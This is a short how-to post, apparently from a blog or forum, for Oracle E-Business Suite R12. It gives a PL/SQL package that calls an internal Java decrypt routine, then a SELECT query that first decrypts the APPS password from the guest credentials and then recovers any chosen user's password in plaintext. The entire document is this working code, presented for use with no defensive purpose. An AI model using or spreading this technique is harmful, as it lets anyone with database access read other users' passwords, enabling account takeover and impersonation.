How to know user password from Back End in Oracle apps R12

1.

CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
2.

CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/
3. run below select query you will get user_name and password.

select usr.user_name,
       get_pwd.decrypt
          ((select (select get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      from dual) as apps_password
              from fnd_user usertable
             where usertable.user_name =
                      (select substr
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     instr
                                          (fnd_web_sec.get_guest_username_pwd,
                                           '/'
                                          )
                                   - 1
                                  )
                         from dual)),
           usr.encrypted_user_password
          ) password
  from fnd_user usr
 where upper(usr.user_name) = upper('&user_name');